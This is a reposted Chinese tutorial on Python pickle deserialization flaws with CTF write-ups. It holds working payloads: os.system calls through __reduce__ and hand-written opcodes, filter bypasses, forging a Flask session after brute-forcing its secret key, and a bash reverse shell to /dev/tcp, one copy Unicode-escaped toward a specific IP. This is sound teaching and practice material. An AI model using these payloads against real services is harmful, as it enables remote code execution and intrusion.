大数跨境
0
0

从0开始的pickle反序列化

从0开始的pickle反序列化 跨境团长Robert
2025-10-13
2
导读:什么是pickle pickle是Python中一个用来序列化和反序列化对象的模块。

 

什么是pickle

 

pickle是Python中一个用来序列化和反序列化对象的模块。它能将任意Python对象转换为二进制流并还原

 

当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal存在主要是为了支持 Python 的.pyc文件。现在开发时一般首选pickle。

 

简单使用

 

Plain Text                  
pickle最主要的两个方法就是                  
# 序列化                  
pickle.dumps()                  
# 反序列化                  
pickle.loads()

 

我们直接从示例来看

 

Plain Text                  
import pickle                  

class yuyu():                  
    def __init__(self):                  
        self.name = "fish"                  
        self.age = 18                  

    # 这是一个自定义打印输出内容的魔术方法                  
    def __repr__(self):                  
        return f"yuyu(name={self.name}, age={self.age})"                  

a=yuyu()                  
b=pickle.dumps(a)                  
print(b)                  
# b'\x80\x04\x953\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04yuyu\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x04fish\x94\x8c\x03age\x94K\x12ub.'                  

print(pickle.loads(b))                  
# yuyu(name=fish, age=18)                  

print(pickle.loads(b).name)                  
# fish

 

opcode

 

Pickle反序列化过程相当于一个完整的虚拟机(Pickle VM,简称PVM)在Python解释器中执行字节码序列 。在解析字节流时,每遇到一个操作码(opcode),就执行相应操作并更新栈或memo,直到遇到终止符(.)为止,最终栈顶的对象即为反序列化结果。

 

由此我们能知道可以通过编写opcode来编写反序列化的字节码(opcode比直接序列化更加灵活)

 

常用opcode

 

在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例

 

指令

描述

具体写法

栈上的变化

c

获取一个全局对象或import一个模块

c[module]\n[instance]\n

获得的对象入栈

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

o

这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

i[module]\n[callable]\n

这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈

N

实例化一个None

N

获得的对象入栈

S

实例化一个字符串对象

S'xxx'\n(也可以使用双引号、\'等python字符串形式)

获得的对象入栈

V

实例化一个UNICODE字符串对象

Vxxx\n

获得的对象入栈

I

实例化一个int对象

Ixxx\n

获得的对象入栈

F

实例化一个float对象

Fx.x\n

获得的对象入栈

R

选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数

R

函数和参数出栈,函数的返回值入栈

.

程序结束,栈顶的一个元素作为pickle.loads()的返回值

.

(

向栈中压入一个MARK标记

(

MARK标记入栈

t

寻找栈中的上一个MARK,并组合之间的数据为元组

t

MARK标记以及被组合的数据出栈,获得的对象入栈

)

向栈中直接压入一个空元组

)

空元组入栈

l

寻找栈中的上一个MARK,并组合之间的数据为列表

l

MARK标记以及被组合的数据出栈,获得的对象入栈

]

向栈中直接压入一个空列表

]

空列表入栈

d

寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)

d

MARK标记以及被组合的数据出栈,获得的对象入栈

}

向栈中直接压入一个空字典

}

空字典入栈

p

将栈顶对象储存至memo_n

pn\n

g

将memo_n的对象压栈

gn\n

对象被压栈

0

丢弃栈顶对象

0

栈顶对象被丢弃

b

使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

b

栈上第一个元素出栈

s

将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中

s

第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新

u

寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中

u

MARK标记以及被组合的数据出栈,字典被更新

a

将栈的第一个元素append到第二个元素(列表)中

a

栈顶元素出栈,第二个元素(列表)被更新

e

寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中

e

MARK标记以及被组合的数据出栈,列表被更新

 

 

 

opcode解析

 

看上去很迷惑 难以理解 这里还是直接从代码中来看

 

Plain Text                  
import pickle                  

opcode = b'''cos                  
system                  
(S'whoami'                  
tR.'''                  


print(pickle.loads(opcode))

 

 

这里就能看出来了 opcode能执行任意python代码

 

这些opcode代码是什么意思呢 看也看不懂

 

我们来一一理顺

 

Plain Text                  
import pickle                  

opcode = b'''                  
cos                                c 获取一个全局对象或import一个模块 写法:c[module]\n[instance]\n 这里导入了os.system                  
system                  
(S'whoami'                ( 向栈中压入一个MARK标记 S 实例化一个字符串对象 'whoami'                  
tR.                                t 寻找栈中的上一个MARK,并组合之间的数据为元组 生成('whoami',) R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 这里就是调用 os.sysytem('whoami')                  
                                . 程序结束,栈顶的一个元素作为pickle.loads()的返回值                  
'''                  


print(pickle.loads(opcode))

 

这里就梳理清楚了opcode的使用

 

这里引用两张非常形象的图片

 

参考:https://goodapple.top/archives/1069

 

1PVM解析 str 的过程

 

 

1PVM解析 __reduce__() 的过程

 

 

pickletools

 

pickletools是一个将opcode转化成方便我们阅读的形式的模块

 

简单使用

 

Plain Text                  
import pickletools                  

opcode = b'''cos                  
system                  
(S'whoami'                  
tR.'''                  


print(pickletools.dis(opcode))                  

#输出:                  
#     0: c    GLOBAL     'os system'                  
#    11: (    MARK                  
#    12: S        STRING     'whoami'                  
#    22: t        TUPLE      (MARK at 11)                  
#    23: R    REDUCE                  
#    24: .    STOP                  
# highest protocol among opcodes = 0                  
# None

 

pickle反序列化

 

直接序列化

 

在执行pickle.loads()时 会调用__reduce__函数 所以当服务器能够解析我们传入的pickle数据时 我们可以命令执行 由此产生漏洞

 

 

 

引用自Pickle反序列化 - 枫のBlog

 

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

 

Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

 

 

 

 

 

Plain Text                  
import os                  
import pickle                  

class yuyu():                  
    def __init__(self):                  
        self.name = "fish"                  
        self.age = 18                  

    # 这是一个自定义打印输出内容的魔术方法                  
    def __repr__(self):                  
        return f"yuyu(name={self.name}, age={self.age})"                  

    def __reduce__(self):                  
        return (os.system,("calc",))                  

a=yuyu()                  
b=pickle.dumps(a)                  
pickle.loads(b)

 

这样就可以实现命令执行了

 

 

 

通过opcode利用

 

在上文我们提到了,opcode比直接序列化更加灵活。

 

我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了。

 

示例;

 

Plain Text                  
import pickletools                  
import pickle                  

opcode=b'''cos                  
system                  
(S'whoami'                  
tRcos                  
system                  
(S'whoami'                  
tR.'''                  


print(pickle.loads(opcode))

 

 

 

通过opcode我们能够执行python代码能够命令执行、实例化对象、以及覆盖变量 这里希望你能自行实现这里不再过多讲解


以上就是pickle漏洞的基本用法

 

ctf例题

 

[HZNUCTF 2023 preliminary]pickle

 

Bash                  
import base64                  
import pickle                  
from flask import Flask, request                  

app = Flask(__name__)                  

@app.route('/')                  
def index():                  
    with open('app.py', 'r') as f:                  
        return f.read()                  

@app.route('/calc', methods=['GET'])                  
def getFlag():                  
    payload = request.args.get("payload")                  
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))                  
    return "ganbadie!"                  

@app.route('/readFile', methods=['GET'])                  
def readFile():                  
    filename = request.args.get('filename').replace("flag", "????")                  
    with open(filename, 'r') as f:                  
        return f.read()                  

if __name__ == '__main__':                  
    app.run(host='0.0.0.0')

 

 

 

因为/calc 无回显 所以我们可以尝试将读取的文件写入/111 中 然后使用/readfile 读取

 

 不能反弹 shell 服务器 无法出网

 

 

 

因为有对 os 的禁用 这里使用拼写绕过

 

Bash                  
import pickle                  
import base64                  


class rayi(object):                  
    def __reduce__(self):                  
        return eval, ("__import__('o'+'s').system('nl /*')",)                  

a = rayi()                  
print(pickle.dumps(a))                  
print(base64.b64encode(pickle.dumps(a)))

 

 

 

Bash                  
1 #!/bin/bash 2 echo $DASFLAG > /flag 3 export DASFLAG=flag_not_here 4 DASFLAG=flag_not_here 5 rm -f /flag.sh 6 #!/bin/bash 7 if [[ -f /flag.sh ]]; then 8 source /flag.sh 9 fi 10 cd /app 11 if [ "$APP_CMD" ];then 12 su - app -c "$APP_CMD" 13 else 14 su - app -c "python3 app.py" 15 fi

 

得知 flag 存在环境变量中 执行 env | tee a

 

[MTCTF 2022]easypickle

 

Bash                  
import base64                  
import pickle                  
from flask import Flask, session                  
import os                  
import random                  

app = Flask(__name__)                  
app.config['SECRET_KEY'] = os.urandom(2).hex()                  

@app.route('/')                  
def hello_world():                  
    if not session.get('user'):                  
        session['user'] = ''.join(random.choices("admin", k=5))                  
    return 'Hello {}!'.format(session['user'])                  


@app.route('/admin')                  
def admin():                  
    if session.get('user') != "admin":                  
        return f"         <>           alert('Access Denied');window.location.href='/'           "                  
    else:                  
        try:                  
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")                  
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:                  
                raise pickle.UnpicklingError("R i o b is forbidden")                  
            pickle.loads(base64.b64decode(session.get('ser_data')))                  
            return "ok"                  
        except:                  
            return "error!"                  


if __name__ == '__main__':                  
    app.run(host='0.0.0.0', port=8888)

 

 

 

先用 flask -unsigned 工具来爆破密码

 

这里根据 os.urandom(2).hex()来生成一个字典 

 

爆破得到

 

SECRET_KEY=0662

 

这样就可以伪造 admin 身份登录进去了

 

 

然后就是 pickle 反序列化

 

因为对大部分包进行了过滤 所以这里直接使用 opcode 来写

 

通过 opcode 反弹 shell

 

Bash                  
opcode = b"""(cos                  
system                  
S'bash -i >& /dev/tcp/ip/port 0>&1'                  
os.                  
"""

 

但是题中又对R i o b 有过滤

 

这里可以通过 Unicode 来绕过

 

V指令可以识别Unicode编码

 

 

 

Bash                  
opcode = b"""(cos                  
system                  
V\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0034\u0039\u002E\u0032\u0033\u0032\u002E\u0031\u0035\u0035\u002E\u0031\u0035\u0036\u002F\u0034\u0034\u0035\u0034\u0035\u0020\u0030\u003E\u0026\u0031\u0022                  
os.                  
"""

 

https://leekosss.github.io/2023/09/05/%5BMTCTF2022%5Deasypickle/#%E7%BB%95%E8%BF%87R-i-o-b%E8%BF%87%E6%BB%A4

 

经过 bs64 编码后 再伪造 session 传入便成功反弹 shell 得到 flag

 

参考博客:

 

Python Pickle 反序列化漏洞(原理+示例) - FreeBuf网络安全行业门户


 

Pickle反序列化 - 枫のBlog

 

 

 

【声明】内容源于网络
0
0
跨境团长Robert
跨境分享站 | 每天提供专业参考
内容 44698
粉丝 0
跨境团长Robert 跨境分享站 | 每天提供专业参考
总阅读226.2k
粉丝0
内容44.7k